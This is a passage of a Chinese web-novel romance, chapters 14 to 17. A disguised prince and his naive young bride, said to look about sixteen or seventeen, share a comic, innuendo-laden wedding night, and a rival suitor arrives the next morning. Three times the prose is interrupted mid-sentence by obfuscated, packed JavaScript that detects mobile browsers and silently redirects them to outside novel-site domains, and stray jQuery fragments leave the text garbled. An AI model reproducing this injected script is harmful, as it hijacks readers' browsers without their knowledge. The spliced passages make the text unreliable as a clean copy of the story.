男子的唇边明明挂着浅淡的笑意,却让宋星糖觉得脖子凉飕飕的,忍不住往回缩了缩,但他的声音又实在悦耳,她听着就心里高兴,不禁弯唇,又露出两只浅浅的酒窝。 她眨了眨眼,大着胆子,另一只手再次盖在他的手背上,如实道:“我瞧你到处都好看,所以想摸摸。” 她喜欢夜明珠,晚上睡不着时,时常翻出来,躲在被窝里抚摸。 她还喜欢南海的珍珠璎珞,心情不好时,也会放在手心里盘上一盘。 她同男人解释完,又补充道:“喜欢之物,爱不释手。” 沈昭予眼角一抽,心底鄙夷她整日无所事事,不去读书,尽是些享乐之事。 嘴上却道:“在下承蒙大小姐喜欢,喜不自胜,自当万死以偿情意。” 宋星糖盯着他通红的耳朵,喃喃道:“我不需要你万死,你给我摸摸就好了。” 沈昭予:“……” 她真是上天派来专克他的。 他低下头,镇定自若道:“我既入了宋家大门,便事事都听大小姐的。” 说着,微微低下头颅,一副乖顺柔弱的模样。 宋星糖咧嘴笑着,倾身向他,他们的胳膊碰到一处,大红喜服紧紧相贴,她一手抓着他的手臂,将自己的重量都压了上去,另一手高高抬起,摸向他的耳朵。 在沈昭予眼中,女孩的动作如放缓了数倍,每靠近一分,他的拳头便收紧一分。 面上冷静从容,心中的鼓奏得热烈。 冰凉的指尖触到他的耳廓,两人皆是一愣。 沈昭予低头,望向倚在他身侧,近在咫尺的女子。 这一刻,他感觉到了她的呼吸落在自己唇边,他的呼吸一滞,下意识往后仰。 宋星糖眼疾手快,一把抓住。 沈昭予耳朵一痛,脸立刻就沉了下去。 好在宋星糖不太懂看人脸色,没被他吓跑。她以为自己拽疼了他,连忙松开,咕哝一声:“躲什么呀。” 沈昭予往旁边坐了坐,低着头,他怕自己一张嘴就要骂人,便强忍着,再不吭声。 宋星糖像是一只寻到乐趣的猫儿,专心于眼前那只被她蹂躏得通红的耳朵,再想不起其他的事。 她踢掉鞋子,跪在榻上,整个人又挤了过去,把男人困在床榻逼仄的角落里。 沈昭予倒吸一口凉气,瞳仁微颤,难得陷入无措与惊恐中,“大小姐!” 想他堂堂怀王,声名赫赫,威震四方,谁人不称赞一声举世无双,如今却如同个手无缚鸡之力的废物一样,被一个小姑娘上下其手,为所欲为。 “咦?怎的越来越烫了?” 宋星糖疑惑出声,指腹染上了他的温度,忍不住再次探手过去。 拇指和食指轻轻捏住,从上轮廓开始,沿着耳廓的形状一寸寸向下,慢慢捻揉。 沈昭予拳头捏得又硬又紧,指节吱吱作响,嗓音微哑:“良宵苦短,不如我们早些歇息吧。” 一句话从左耳进右耳出,宋星糖沉浸在自己的乐趣里。 半晌,她新奇道:“你的耳朵确实比我的硬!阿娘总说爹爹耳根子软,没主见,硬一些强势,强势好啊!” 说话难听,性子强势,还长得好看,简直就是天生来给她做夫婿的! 沈昭予哪知道她心里在想什么,咬着牙,皮下肉不笑地瞥她一眼,“比完了,大小姐可愿放过我?” 他的忍耐力已达极限。 好在宋星糖终于玩腻了,她心满意足要退后,头上繁重的钗环首饰带着她身子往后仰,她不设防地跌回榻上,后背纵使压在厚实的被褥上,也发出了好大的声响。 沈昭予冷眼看着,没有去扶。一则是因为被子很软,想来不会太疼,二则是他心里实在憋屈得很,并不想伸出援手。 宋星糖似乎摔得懵了,仰倒在榻上,愣了一会儿才回过神来。 就这会功夫,沈昭予的火气也下去了些,他变换神情,转而一副忧虑关切的模样,殷切问候:“大小姐,可受伤了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357562|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着伸手去拉她。 宋星糖歪了歪头,头上叮叮作响,“太重了,帮我拆了吧。” 沈昭予:“……好。” 虽然从未被人指使做过类似的事,但他永远不承认自己有做不到的事。 结果也如他所想,哪怕是第一次上手为女子解下发饰,他也做成了,一开始还有些生疏,不过很快就得心应手起来。 等沉重的头饰尽数卸下,两个人都松了口气。 沈昭予自满地弯起唇角,正洋洋得意于不愧是他,一低头,又与小姑娘那双剔透的眼睛四目相对。 他们一站一坐在妆奁前,她肩披墨发,仰着头望来,而他手里还捏着梳子,指尖勾缠着她一缕青丝。 心跳骤然漏了一下,那缕长发蓦地如被烧起来一般,灼热烫手,沈昭予连忙抽开手指,摆脱了发丝的缠绕。 二十余载未与一女子这般亲近过,他心底生出几分异样,不自在地别过头去。 宋星糖视线又落在男人那只泛红的耳朵上,手指蜷了蜷,到底没再去摸。 “你叫我糖儿好不好?”宋星糖抬手揪住他的衣裳,低声道,“娘死后,再无人这么叫我了。” 说到底,还只是个小姑娘,瞧着也就十六七的样子。 沈昭予沉默半晌,化为一声叹息,“都听糖儿的。” “嗯!鱼鱼!” 沈昭予:“……” 可他并不是很喜欢那个称呼。 抬眼看到少女明媚地冲他笑着,眉眼间全无一丝阴霾,好似她身边什么豺狼虎豹都已解决干净,再无烦忧。 沈昭予认命地叹了口气。 罢了,男子汉大丈夫,同一个小姑娘计较什么。 她爱叫什么就叫什么吧。 “鱼鱼,那我们快些洞房吧。” 沈昭予:“……” 宋星糖推开他往床榻扑去。 沈昭予心感不妙,默默揪了下衣领。 成婚必有这么一遭,他不是早就知道了吗。 沈昭予垂头丧气,在原地呆站半晌,终于无可奈何地将手伸向了衣带。 他迟缓地褪下外袍。 小姑娘连句诗都记不明白,想来男女之事上更是一窍不通。 还不是由着他随便糊弄糊弄就过去了? 兴许他的清白还是能保得住的。 沈昭予自我安慰完,心稍稍落地,将衣袍挂到架上,一回头,就看小姑娘正盘腿在榻上,只着单薄寝衣,两眼发亮,见他看过来,还兴奋地拍了拍身边的位置。 沈昭予:“……” 她脱得倒是快。 沈昭予走上前去,将她扔了满地的衣裳一件件拾起,展平,依次挂到衣架上。 这些事他寻常是断不会做的,眼下他却巴不得这种琐事越多越好。 挂好衣裳,他也不愿转身,将几件外袍的袖子衣领都检查了一遍,翻折过的地方一一抹平痕迹,沾了灰的地方又耐心地掸净,磨磨蹭蹭,消磨良久。 身后始终没有传来催促的声音,沈昭予忽然自惭形秽起来。 他素来光明磊落,果断干脆,如此遮遮掩掩,畏首畏尾,岂是大丈夫所为? 他鼓起一腔勇气,愤然转身朝她走去。 宋星糖蓦地抬眸,俨然看到救星的模样,“你快来,帮我看看这是在作甚?我都看不懂。” 她献宝似得将手中书册递过去,也不知是从哪儿翻出来的。 沈昭予毫无防备翻开第一页。 只一眼,他的脸唰得通红。 啪得一声—— 用力合上! 这才看清封面上三个大字—— 秘戏图。 15.第 15 章 【15】 沈昭予力道之大,险些将书抓碎。 宋星糖惊呼一声,一巴掌拍在他的手背上,“快松开呀。” 沈昭予一把将书扔开,整个人蹿出去好远,他哆嗦着手指,“哪儿来的?!” 宋星糖奇怪地看他一眼,将书捡起来,手去抚被抓皱的地方,说道:“是阿许送我的,说是大婚夜要学。” 说着她面露愁色,“不过我最厌烦读书了,都成婚了还要学什么?我学不会的。” 很快又喜上眉梢,下榻要去拉他,“好在现在有你了,你来学,你这么聪明,肯定一看就会!” 沈昭予只感觉额角突突跳动,体内的热血横冲直撞。正神思恍惚着,那本书又被塞回手中,耳边是宋星糖的劝慰:“书是好物,不可糟蹋,断不能再损坏了知道吗?” “……” 沈昭予犹如抓了个烫手山芋在手里,可小姑娘眼巴巴地看着他,扔也不是,打开也不是。 他只得暂且将人安抚住,随口搪塞:“糖儿先睡,我等会就学。” 宋星糖却坚持道:“不行,阿许说这是两个人一起看的。” 沈昭予:“……” 这个秦管家是怎么教妹妹的! 难怪宋星糖看到他就到处乱摸,脸上丝毫羞色都看不到,显然是平日里耳濡目染的结果!好好的姑娘,都被身边人给耽误了!等他抽出功夫,非得好好惩治惩治这帮不像话的奴仆! 沈昭予面色扭曲,挤了个僵硬的笑来,“你乖,时辰不早,莫要误了明日的事,睡吧。” 宋星糖歪头,无辜道:“我明日没什么事啊。” “……可我有事。” 宋星糖乖巧地点头,“嗯嗯,所以我们不多耽误,就学一篇。” 她顺手拉上男人的手腕,轻轻摇晃了两下,轻声道:“万一明日她们问起,我答不上来,她们又要嫌弃我。” 撒娇的动作十分流畅熟练,习以为常,显然就是做惯了的。 沈昭予不自在地抽走手腕,不满地道:“她们怎敢嫌弃主子。” 这宋府上下果然是乌七八糟的一团,秦知期身居管家之位尸位素餐,底下人也没个奴仆的样子,她这个主子既无头脑又无威严,难怪会被家里人这么欺负。 宋星糖以为自己手滑,复又将沈昭予的手腕捉了回去,抓得更用力,“也不怪她们,我的确是笨嘛。” 沈昭予平素最厌烦蠢笨之人,可眼前这个…… 他没再挣扎,低下头,静静注视少女那双不染一丝凡尘的眼眸。 眼前这个,是个有自知之明的小笨蛋。 沈昭予无奈叹道:“好吧,学一个就睡。” 等两人再回到榻上,对面而坐,宋星糖眼睁睁看着男人的耳朵又变红了。 她觉得新奇,一直盯着瞧,没留意男人早已将书找了角落草草塞了进去,再没翻开。 学一个就睡…… 问题是,这个要怎么学啊。 宋星糖左顾右盼,没找到画本,“书呢?” 沈昭予绷着面皮,一本正经:“我记住了,不必再看。” 说着又将身子往藏着秘戏图的被子上压了压。 宋星糖顿时目露艳羡与崇拜,毫不吝啬自己的夸奖:“你好厉害,是过目不忘吗?阿娘也有这个本事,从前家中就只有她那么聪明,如今又多了你。” “常言道,龙生龙,凤生凤,老鼠生儿会打洞。”宋星糖不好意思地垂下头,嘟囔了声,“我娘那样聪慧,却生了我这样的……” 气氛一时间沉闷下来。 沈昭予没有安慰人的经验,没有什么人敢让他安慰,他不知如何应对,正沉默着。 只见小姑娘又松了口气,扬起唇角,“不过爹爹也说,世间千人千态,各不相同,我这样又何尝不是与众不同的呢?既是难得的那一个,就更要让自己活得好好的。” 沈昭予微怔,她倒是通透豁达,不因一些小事而忧心劳神。 蓦地又想起寺庙里那屋子财宝,沈昭予幽幽叹了口气,没来由觉得好笑。 他与她当真是两个极端,她是万事不上心,没有什么能在心里留下痕迹。他却是事事放不下,注定一辈子是操劳的主。 宋星糖看不懂画,又不懂得何为委婉,她素来心里想什么便说什么,有不懂的就开口问,也不怕别人说她蠢笨,毕竟早就习惯了的。 “鱼鱼,依你看,画上那二人在作甚?他们那样的姿势……”宋星糖皱了皱眉,“姿势古怪,莫非是舞姬?又或是杂耍吗?” 沈昭予:“……” 对上少女清凌凌的干净目光,沈昭予忽有种自己脏透了的感觉。 她不懂,他却一眼就明白了,可不就是脏污至极吗。 哪怕自己在此事上亦是毫无经验,可他素来悟性极强,只看过一眼,那画面就跟烙印般刻在脑海里,无师自通地领悟了其中奥秘。 沈昭予喉结轻滚,“他们是在做一种只可夫妻之间做的事。” 宋星糖视线飘忽,落在男子那只莫名其妙又红了的耳朵上,心不在焉重复道:“夫妻之间……” “嗯,夫妻,我们……之间。”沈昭予垂下眼睛,声音低下几分,“还要学吗?” “当然!”宋星糖回神,用力点头。 她倾身过去,热情地拉住沈昭予的手,嗅到他身上好闻的味道,心中喜爱得不行,干脆两只手攀上他的身体,抱住便不撒手。 “看上去很有意趣,要学!你也说了,是夫妻之间才可做的事,那我不就只能跟你学吗?” 沈昭予往后缩,无奈她力气不小,很难抽身。 “好鱼鱼,你教教我吧,不止这一件,往后你都多多教我可好?我不想再被人说是傻子了。” 等她学了旁人不会的东西以后,定要好好卖弄一番,狠狠惊讶众人! 宋星糖仿佛已经看到宋洛繁那张讨厌的脸上满是对她的惊惧和敬畏。 想想就大快人心! 她抱住这根唯一的救命浮木,下巴抵在男人胸口,在他怀里仰着头,可怜巴巴地望着他,“教教我吧,求求你了。” 沈昭予狼狈地闭上眼。 恳求的言语他不是第一次听,甚至因为他身份所致,这种话几乎天天都听。 可从未有人会在他怀里这样撒娇求他…… 沈昭予不敢推她,由着她拽皱了自己的衣裳,扯开了自己的衣领,露出大片胸膛。 身子僵硬,声音发紧:“那大小姐要按我说的做。” 宋星糖敏锐地抓住重点,疑惑道:“为何又唤我大小姐?” 还不是因为此时此刻实在太暧昧,不适合再叫亲昵的称呼。 沈昭予没答她话,深吸一口气,下定决心。 他素来行动力强,决意要做便再不犹豫、拖泥带水。 从榻上跪直了身体,一只手臂绕过女子的身前,仅凭单臂的力量便将人揽抱提起,同时脚垫到她的大腿下,抵着她的膝盖,固定位置。 一瞬间将人从窝在他怀里的状态“抖开”,带着她正面向床榻倒去。 宋星糖缓缓睁大了眼睛,脑子发蒙,只是一个错神的功夫,她面前的景象就变了。 她望着近在咫尺的枕头,茫然地:“嗯?” 耳边是男人发哑的声音:“手,撑着自己。” 宋星糖侧头,只见男人并未看着自己,他的视线落在别处,耳朵比方才更红了。 “大小姐,撑住,我要松手了。” 宋星糖害怕自己摔下去,赶忙照做,支起手肘抵在榻上。 这是要做什么?宋星糖未及再想,沈昭予绕到床尾,一把抓住她的两只脚踝。 宋星糖歪了歪头,想要回头看他,忽然下半身一轻。 她惊呼一声,蓦地扭头,只见男子跪立在自己身后,一手各捞住她的一条腿,架在他的手臂上。 速度之快,她的手肘甚至没来得及承受她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362148|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全部的重量,负重就全都交付到了沈昭予的手上。 而在她惊愕望去时,他的目光也恰好落在她的脸上。 四目相对,宋星糖眨了下眼,“我怎记得,好像不似这样?” 沈昭予面上看不出异样,冷静道:“嗯,我会松开我的右手,你跪好。” 不知是否因涉及“学习”一事,所以他才变得有些严肃郑重,他说话带了点命令的强硬语气,很是生硬。 宋星糖眼睛一亮,十分听话,“好!” 男人的右手松开,令她的右腿下落屈起,膝盖抵上床榻。而左腿,还在他的臂弯里。 眼前的一切都让人发热,沈昭予怔怔望着女子的后背,默默平息呼吸。 一阵长久的寂静后—— 小姑娘忽然清醒般,“不对,他们好像没有穿衣裳!” 不是说记性不好吗?怎么偏偏这些细节记这么清楚。 沈昭予一阵头疼,迅速应对:“可若受了凉,要如何对抗祖母?” 宋星糖恍然大悟,“说的也对!我竟没想到,还是鱼鱼思虑周全!” 又过了一会。 “是不是离得太远了?我瞧着他们都抱在一起了。” 沈昭予无法,只得往前跪两步,身体堪堪碰上她。但他不敢太过冒犯,所以时刻专注精神,注意保持着距离。 “鱼鱼,这到底是在做什么呀?当真像极了杂耍。” “……这些亲密的肢体接触可令夫妻愈发恩爱。”沈昭予难以启齿,犹豫半晌,艰难开口,“此为敦伦之礼,亦称云雨之欢。” 顿了顿,他又强调了一遍:“只有夫妻之间才可做。” 既然答应教她,便要说到做到,况且这些事,她多知道些总没坏处。她这么好骗,早晚叫人吃得骨头都不剩。 如今有他在,便多教她一些,待他日后离开,她也能好好保护自己,不至于登徒浪子随意哄骗她就糊涂地上钩。 云雨之欢? 宋星糖侧头望了望窗外,未曾听到下雨声,想自己定是理解有误,便未曾追问。 “感觉同习武或是舞剑类似,我瞧过爹爹练兵,他们扎马步也是一动不动的,很是枯燥。” 沈昭予:“……” 这是嫌他无趣? 不行,要加大强度,他不想再从她嘴里听到任何问话。耗光她的体力,她就没功夫再说三道四。 沈昭予握着她的腿,缓缓抬高。 “若是疼,记得告诉我。” 宋星糖转过头来,笑意盈盈,“那你记得弄久一些,我怕时辰短了,记不住动作。” 沈昭予:“……” 不知这有什么可记的。 沈昭予气息一沉,将她的腿抬高了一大截。 出乎意料地,小姑娘一声不吭。 沈昭予微微挑眉,又加了些力道。 这姿势说不出得别扭,宋星糖望着身下的大红喜被,迷茫地眨了下眼。 她跪趴在榻上,只凭两肘一膝受力抵着,渐渐地感觉到了四肢的酸软无力。 平日里娇生惯养的千金,胳膊腿儿都娇嫩得很,哪里受得住这样拉扯。 他们就这么僵持着。 他一动不动,只一味向外推,而她的左腿慢慢折成了极致扭曲的弧度。 痛感终于后知后觉地侵袭了大脑。 闷闷地痛呼声太轻太细,可沈昭予敏锐的耳朵依旧捕捉到了。他的手蓦地僵住,循声望去。 女子眼眶里止不住地涌出泪水,她红着眼睛,回头望他。 方才还游刃有余地与他说说笑笑,只顷刻间,她便力竭往一旁栽倒。 沈昭予一把将人捞起。 她靠在他怀里,因脱力而轻轻发抖,头埋着,不住地呜咽。 沈昭予将人揽抱在怀,晦暗的目光落在她的后背,瞳孔微缩—— 衣领散开,露出白皙的肩头。 而再往下,是一片青紫到发黑的伤。 16.第 16 章 【16】 她的痛感似乎来得迟钝,又好似是积累到一定程度以后,才会一股脑发泄出来。就好像存水的缸,到满时,才会溢出。 怀中的女子已经不再喊疼,可她颤抖的呼吸和发白的脸色,叫沈昭予知道,痛苦依旧在折磨她,而这一切都是他造成的。 他抿了抿唇,小心翼翼地不碰她的后背,低声道:“抱歉。” 这样的话宋星糖听过无数次,她如往常那样为自己辩解,也下意识去消除对方的愧疚。 “鱼鱼,这不怪你,我自小便是这样。”她趴怀里,仰头冲他解释道,“周围人都知道,我有时很迟钝,梯子砸下来也没什么感觉,我不知道疼。” 沈昭予一时沉默下来。 他听得分明,那哭声极小,像是怕被人听到。且止歇得极快,若是人稍不注意,这点变故就会被她好好地瞒住。 所以她自小便是这样,变故突发时,的确不疼,惯常粉饰太平,大事化小,等到事情过去,才会觉得痛,可那时也不会再莫名提起一件已经过去的事。 然后呢? 然后就像方才那样,自己一个人悄悄哭吗? 沈昭予注视着她眼角残留的泪痕,鬼使神差地,抬指抹去,他捻着指腹上的潮湿,声音不自觉轻柔:“可有人发现你的秘密?” “秘密”二字令宋星糖心虚地飘忽了眼神。 “没有呀,”宋星糖干笑道,“你是头一个。” 沈昭予冷笑了声。 宋府的奴仆果然没有一个尽心尽力的,都该发卖出去了事。 怒气存于胸口,上不去下不来地四处乱窜。 怀里的女孩蓦地拽了下他的衣裳。 她“哇”了声,毫不知羞,指尖点了点他的鼻梁。 沈昭予拧着眉抬头,语气微冷,“作甚。” 她笑道:“你鼻梁高高挺挺的,与我也不一样。” 沈昭予没想到她的注意力这么容易又被转移,不满她肆意碰他,又不满她不将自己的身子当回事,他低声斥道:“身上不痛了?” 宋星糖仍笑着,不惧他的冷脸,也不理他的话,只一味随心所欲道:“这里还有一颗痣!” 说着,点了点眼尾,“红色的,好看!” 她似乎很不会看人脸色,亦不会分辨别人话中的语气。 沈昭予一腔怒火发泄在棉花上,就这么莫名其妙地消散了。 他气笑道:“好看?喜欢吗?” “喜欢呀,”宋星糖双手捧着他的脸,自己凑上去,直白热情,“这么俊俏的郎君,是我的夫婿了。” 沈昭予:“……” 他拉下她的两只手,“睡吧。” 说罢带着她躺下,谨慎地护着她不压到后背。 本想问问她是否要上药,结果她人才沾枕头,便呼呼大睡过去。 沈昭予:“……” 拳头攥硬,握了半晌,又缓缓松开。 他低头看看自己。 寝衣被她拉扯得已经彻底散开,露出大片胸膛,还有他带着伤的腰腹,也暴露无遗。 纱布上渗出了血,但凡她多看一眼,就能发现他受了伤。 沈昭予原本准备好的说辞也用不上了,他对着夜色幽幽长叹一声。 走到窗边,拉开窗子,远处倏地飞过来一道“暗器”。 沈昭予看都未看,抬手抓住,关窗回到床榻边。 摊开手掌,竟是一卷裹着金疮药与纱布的小布包。 他坐在榻边,褪下寝衣,为自己换了药。 事毕,攥着药瓶,犹豫半晌。 沈昭予抿了抿唇,“罢了。” 到底是他做的孽,他得负责到底。 想要给宋星糖上药,转过身来,发现侧卧的小姑娘不知何时翻身平躺,压着她那满是伤痕的后背,睡得正香。 看来确是不再疼了。 沈昭予探身过去,拉开被子,迟疑片刻,还是将手伸向她的肩膀。 轻轻一推,她就转身向了里侧。 咚咚。 咚咚咚。 沈昭予按了按心口,眉宇间皆是烦躁。 咬咬牙,将药膏抹在指腹,而后干脆利落,从下摆入手,撩起她的寝衣。想要悄无声息地,将药涂抹在她背上。 在碰到那细腻的纹理时,指尖轻轻一颤。 耳边少女的呼吸声扰人心烦,自己心脏发出的跳动声愈发聒噪,沈昭予两眼一闭,胡乱将药抹了上去。 草草涂了两圈,宋星糖不知梦到什么,只听她嘿嘿笑了一声,将身子又翻了回来。 幸好沈昭予躲得快,不然胳膊就要被她压住。 只是才刚抹好的药,这下又全都蹭到了衣裳里。 沈昭予脸色一黑,耐心告罄,将药瓶一塞,不伺候了。 拢好自己的衣裳,将被子随手往她身上一扔,盖住她的头和大半身子,只露了两条小腿在外头。 看着美梦中的小姑娘蹬了蹬腿。 他实在是个操心的命,怕她只是不知疼,而并非不疼。于是又跪坐在床尾,按照自己的经验,给她方才用过力的地方进行按揉。 习武之时磕磕碰碰总是有的,他不喜旁人近身,因此习得一手极好的按摩功夫。 没一会功夫,她的每一寸肌肤都被他按揉开,彻底松懈下来。 沈昭予瞥一眼床头,被子底下埋着的人一动不动,毫无知觉。 沈昭予冷笑一声,咕哝了句“果然没心没肺睡得才香”,将她的腿摆好,从床榻边角抽出那本秘戏图,直奔耳房而去。 耳房是一间小小的书房,有一张方几,上摆着几支狼毫笔。 沈昭予点了烛灯,研磨掭笔,翻开书册。 男女各种姿势欢好的画面如一记重拳,直直朝他的脑门砸来。 咔嚓一声,笔瞬间从中间断成两节。 沈昭予将废笔扔至一旁,双手撑着案几,眼尾微红,呼吸渐渐加重。 想他从前在边关重伤昏迷,都未有此时此刻令人难堪、倍感狼狈。 他闭了闭眼,无力地靠在椅背里。 抬手用力按住发疼的太阳穴,放手时,指尖扫过眼尾。 他神色怔忡,缓缓摸向眼角那颗红色的小痣,摩挲了两下。 宋星糖说好看,说喜欢。 这是唯他有,而旁人都没有的。 父皇母后没有,皇兄和他那些子侄们也都没有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15369359|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因是独一无二,所以他也很喜欢。 做这副样貌时,便保留了自己的泪痣。 沈昭予放下手,目光又落到那本秘戏图上。不知想到什么,凤眸闪过一丝无奈的笑意。 他取了一只新的笔,重新沾饱墨汁,翻至第二篇,落笔。 无论是六艺还是八雅,怀王殿下无一不通。 只寥寥数笔,便让那画中的小人都穿上了衣裳。 尤其遮掩住最私密的部位后,令一本奔放露骨的秘戏图变成了最正常不过的教学画册。 等他改完了一整本,夜已经深了。 沈昭予回到卧房,将这本不再烫手的册子压到枕下,这才沉沉睡去。 天光大亮,院里就传来声响。 异动声才起,沈昭予就睁开了眼睛。 他利落从榻上翻起,快步疾走至门边,目光锐利,警惕地道:“何事。” 外头很快有人回:“回姑爷的话,周二公子来了府上,说要见大小姐。” 周二公子…… 沈昭予垂眸深思。 他早命人将宋府里里外外都查了遍,自然知道这个周二是何许人。 越州首富周氏的二少爷,周庭柏。 亦是与宋星糖青梅竹马一起长大的……邻家哥哥。 他不是同家里人一起去赴刺史府的宴了吗,那宴会持续三日,他不该一早就归来。 眼下辰时未至,他起码卯时就出发踏上了归途。 沈昭予嘴角微勾,眼底燃起光芒。 看来是对手。 是来找他的。 沈昭予折身回房,目光在喜袍与新衣上徘徊片刻,果断取下了大红的婚服。 慢条斯理地穿好,又对着铜镜,戴好发冠。 去外间唤来丫鬟,洗漱过后,叮嘱人不要惊扰到宋星糖,只等着她自己醒。 离开前,他走回至榻边。 宋星糖正抱着被子,睡得香甜。 她的睡姿不好,身体与被子绞缠在一起,寝衣上卷,露出纤细的腰肢。 脸埋在被里,热得面颊潮红,脖颈泛起粉色。 沈昭予盯着她的睡颜,静默看了半晌,从怀中摸出一把匕首。 亮光一闪,殷红的血珠从小指内侧渗出,滴落到雪白的元帕上。 他倒是可以不这么做,叫人知道他们未曾圆房,待和离之时,也不会有损她的名节,不耽误她另嫁。 可若不这么做,对内不利于他立足立威,对外更不好遮掩他的身份,并且……恐会有人对小姑娘多生觊觎之心,平添麻烦不说,还会惹来流言蜚语,中伤于她。 两相权衡取其轻,只得暂时委屈她一下,若和离以后有人敢对她说三道四,他定会为她撑腰,到时亲自为她再择一夫婿也未尝不可。 哪怕他们的结合是各取所需,可她终究是吃亏的那个,又是个小他许多、不谙世事的小姑娘,他免不了多为她考量一二。 沈昭予随手一抹,将落红晕染成自然的一片,而后小心翼翼地塞到榻上。 他没惊扰她的美梦,只将衣架上那件该他穿的青色外袍盖到她的身上。 放好幔帐,遮住晨光,阔步走了出去。 17.第 17 章 【17】 宋星糖再一睁眼,只觉得自己浑身上下都说不出地舒适感,仿佛在温泉水中滋养浸泡了一夜,骨头缝里都透着一股懒。 还未醒过盹意,她靠在床头,两眼发怔,直直望着空气。 房门吱扭一声,妙荷怀里抱着新衣裳轻手轻脚走了进来,只将衣裳摞在暖阁榻上就又走了出去。 门缝半掩,院里的议论声就像将一把生米洒进锅中,哗啦一声,闯进宋星糖寂静无声的脑海。 “你说周二公子该不会是来抢亲的吧?” “总不能是道喜的。咱们姑娘成亲突然,府上人都措手不及,更别提他了。得了信儿便马不停蹄赶回来,必定是心急如焚。” “好刺激,姑爷该不会和人打起来吧!” “咳,我昨晚起夜,瞧着姑娘房里四更还亮着!”小丫鬟意味深长道,“听说姑爷早年在军中,人也只是瞧着文质彬彬,真动起手来,周二少怕不是对手。” “……” “你们说谁和谁打起来了?” 背后蓦地传来声响,两个小丫鬟吓得魂不附体,还以为是谁,忙扭身看去,见是宋星糖,纷纷松了口气,一点不惧怕她,笑嘻嘻地凑上来,七嘴八舌将早上的事道来。 原来是那赵鱼作为新婿,自认该称职、担起责任才行。于是在得知周庭柏找上门时,便独自去迎客了。 听丫鬟描述:“姑爷松了松筋骨,摩拳擦掌,斗志盎然前去迎敌。” 宋星糖爱看热闹,闻言急忙转身回屋,让婢女侍候自己洗漱更衣。 她在前头走,妙荷在后头跟着,一小丫鬟疑惑道:“姑娘,您怎么一瘸一拐的?” 宋星糖顿了顿,忆起昨夜种种,忍不住娇声抱怨:“都怪鱼鱼,弄得我太痛了。” “……” 院子寂静一瞬。 小丫鬟们各各面红耳赤,跺跺脚,捂着脸跑了。 妙荷从内间出来,怀里抱着一卷床单,落红的元帕露出一角,她的脸色也泛着红。 宋星糖纳罕歪头,盯着妙荷仓皇的背影望了许久,她静静发呆,没琢磨明白,最终转望向为她梳头的秦知许,不设防地同样看到一张大红脸,她好奇:“天儿很热吗?你们的脸都晒红了。” 秦知许:“……姑娘身上,很疼吗?” “嗯!可比梯子砸下来时疼多了!”宋星糖眼尾微弯,睇着她,眸中波光流转,感慨道,“不过比起痛,更难熬的是太累了,鱼鱼的体力真好啊。” 他力气真大,举着她的腿半晌都不见吃力,她身体的大部分重量都在他手里,结果还是她先支撑不住。 鱼鱼说,新婚夜大家都是如此增进感情,还说此事可强健体魄,他说她耐力太差,所以才会撑了没一会就耐不住了。 他说的事宋星糖从来没听过,也没人教过她,想来大家都觉得她笨,所以才从不提及。 赵鱼是唯一愿意同她说这些的人,也是个有耐心的人,那她往后免不了要多缠缠他,央他多教教自己。 等她变得更聪明,让众人都对她刮目相看! 秦知许原本恼恨赵鱼不懂怜香惜玉,结果听到这话又闹了个大红脸,“姑爷真是、真是一点不温柔!” 初次就这般放浪,往后大小姐有的苦头吃! 秦知许担忧道:“那你的背……还好吗?” 本以为宋星糖一如每日那般,会回答一句“不疼”便完事。 怎料她语出惊人,掷地有声:“我们跪着,压不到。再说就算躺着,我也是不觉得疼的。” 在他手底下,自己都能感觉到疼了,没准这迟钝的毛病能被他治好呢? 想到这个可能,就忍不住欣喜。她眼睛发亮,激动道:“还是他弄得更疼些。” 秦知许:“……” 头一夜,又是跪着弄,又是体力好的…… 秦知许甩甩脑袋,跑到小厨房吩咐厨娘弄一碗大补汤来给新姑爷喝。 正在前厅会客的沈昭予并不知他的新婚妻子如何败坏他的名声。 沈昭予眼下心心念念的,都是解决掉觊觎他位子的这些人。 甭管他有多不情愿做这个赘婿,但他既然做了,这位置就是他的。除非他自己让出来,不然谁也不能惦记。 会客厅中,沈昭予高坐主位,面带微笑看着堂中站立之人。 这微笑之下,蕴藏着怎样的寒霜,唯有秦知期清楚。 秦管家早知新姑爷是什么秉性,此刻抱着肩膀,乐得看热闹。 都说三个女人一台戏,可这男人真拈酸吃醋起来,也是有过之而无不及。 沈昭予摆出正宫的架子,一阵寒暄。 